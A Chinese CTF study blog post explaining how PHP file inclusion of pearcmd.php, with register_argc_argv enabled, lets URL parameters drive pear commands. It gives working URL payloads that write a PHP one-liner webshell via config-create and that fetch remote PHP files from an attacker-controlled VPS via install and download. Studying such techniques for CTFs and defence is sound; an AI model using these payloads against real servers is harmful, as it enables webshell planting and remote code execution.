pearcmd.php文件包含

一、前言

最近在做羊城杯的rce_me发现常见的文件包含无法绕过(无法使用data伪协议等写入、无权限读取文件、无日志文件),通过题解发现使用的是pearcmd.php文件包含,浅学一下

二、环境

  • 开启了register_argc_argv
  • 开启了pear(这样才有pearcmd.php文件)
  • 存在文件包含,而且可以包含php后缀

三、基本知识点

1、register_argc_argv配置

(1)性质

  • 如果存在php.ini的话,默认是off;如果没有php.ini则默认是on开启的
  • PHP官方提供的镜像里面默认没有php.ini,所以也是默认开启了register_argc_agrv
  • 当开启register_argc_argv时,$_SERVER[‘argv’]就会生效。即URL中?号后面的内容会全部传入至$_SERVER[‘argv’]这个变量内,无论后面的内容是否存在等号

(2)测试

在php.ini里面将register_argc_argv设置为开启状态。 然后编写代码,查看$_SERVER[‘argv’]的数值

image-20220908220322891

可以发现以下信息

  • $_SERVER[‘argv’]数组按照加号作为分隔符,依次将参数的值传递至数组当中。这里存在一点问题,看别人的博客,他们的array[0]都是脚本名,可能是版本原因或者是配置的原因
  • =不能作为赋值,而是作为一个字符
  • &不能作为分隔符

2、pearcmd.php文件

pear是php当中的一个命令行扩展管理工具,它默认是是在/usr/local/lib/php/pearcmd.php,而我的是存放在/usr/share/php/pearcmd.php。在命令行下可以使用pear或者 php /usr/share/php/pearcmd.php 运行该工具。该文件虽然不存在与Web目录下,但是如果存在文件包含漏洞,那么我们就可以运行这个命令工具

(1)Ubuntu安装ppear,其中的php7.0根据自己的php版本进行修改,如果是7.4.3就改为php7.4,其余不变

sudo apt-get install autoconf libz-dev php7.0-dev php-pear
  • /usr/bin/pear下查看pear命令
#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

可以发现最后一行调用了pearcmd.php文件。

  • pearcmd.php文件在user/share/php下。,可以发现pear会在pearcmd.php获取命令行参数
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

// remove this next part when we stop supporting that crap-ass PHP 4.2
if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv'])) {
    echo 'ERROR: either use the CLI php executable, ' .
         'or set register_argc_argv=On in php.ini';
    exit(1);
}

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
    unset($argv[1]);
    $argv = array_values($argv);
}
  • 而pear获取命令行参数的函数Console/Getopt.php --> readPHPArgv当中
public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

可以发现的是在有$argv的情况下,pearcmd.php是通过$_SERVER[‘argv’]来获取到参数。这样就通过包含pearcmd.php,利用$_SERVER['argv']来调用pear命令。

3、总结原理

当register_argc_argv参数开启时,此时的url传递的参数都会传入至$_SERVER[‘argv’]这个变量当中。而在整个环境中如果存在pear命令,而pear命令就可以利用$_SERVER[‘argv’]来获取对应的参数。而pear命令的参数当中就不乏有很多是可以操控写入的文件以及文件的内容的。

那么此时当我们包含pearcmd.php文件时,

四、利用方式

1、config-create

这个是P神提供的一种思路

config-create: must have 2 parameters, root path and filename to save as

输入两个参数,第一个为绝对路径,还有保存配置文件的文件名

测试一下config-create参数

pear config-create /pearConfingcreateTest ./test.txt

查看hello.txt文件可以得到

#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:31:"/pearConfingcreateTest/pear/php";s:8:"data_dir";s:32:"/pearConfingcreateTest/pear/data";s:7:"www_dir";s:31:"/pearConfingcreateTest/pear/www";s:7:"cfg_dir";s:31:"/pearConfingcreateTest/pear/cfg";s:7:"ext_dir";s:31:"/pearConfingcreateTest/pear/ext";s:7:"doc_dir";s:32:"/pearConfingcreateTest/pear/docs";s:8:"test_dir";s:33:"/pearConfingcreateTest/pear/tests";s:9:"cache_dir";s:33:"/pearConfingcreateTest/pear/cache";s:12:"download_dir";s:36:"/pearConfingcreateTest/pear/download";s:8:"temp_dir";s:32:"/pearConfingcreateTest/pear/temp";s:7:"bin_dir";s:27:"/pearConfingcreateTest/pear";s:7:"man_dir";s:31:"/pearConfingcreateTest/pear/man";}

可以发现写入的内容存放到了hello.txt文件当中去了。那么此时的文件名、路径、文件内容都是可控的。此时就可以getshell了

针对web前端的传参可以修改命令为:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=一句话;?>+/tmp/test.php
  • config-create:参数
  • /&file=/usr/local/lib/php/pearcmd.php&/一句话 :整个被作为参数传入了命令行,但是get参数file被正常解析,这是因为前面说过的即使URL中存在等于号和问号一样会被传入
  • /tmp/test.php:写入的文件名

2、install

install参数就是下载远程文件至本地, - R可以指定下载文件保存的目录

pear install -R /tmp http://xxxxxx/shell.php

payload:

?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php
  • install:install下载文件
  • –installroot:指定文件的路径
  • &file=/usr/local/lib/php/pearcmd.php&:包含的file的参数
  • http://[vps]:[port]/test1.php:要下载的远程文件

变形payload:

file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://192.168.1.9/index.php

3、本地的情况

pear -c /tmp/.shell.php -d man_dir=<?=一句话?> -s

相当于写配置文件到/temp/.shell.php。其中的内容和文件名都可控。

4、download

payload

?+download+http://[vps]:[port]/test1.php&file=/usr/local/lib/php/pearcmd.php

五、总结

存在很多细节没有完善,之后等遇到具体的题目之后再具体的分析。

六、参考链接

  1. P神:https://tttang.com/archive/1312/#toc_0x06-pearcmdphp
  2. W4师傅:https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/#more
  3. 入山梵行:https://tttang.com/archive/1312/#toc_0x06-pearcmdphp
  4. bfengj:https://blog.csdn.net/rfrder/article/details/121042290

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏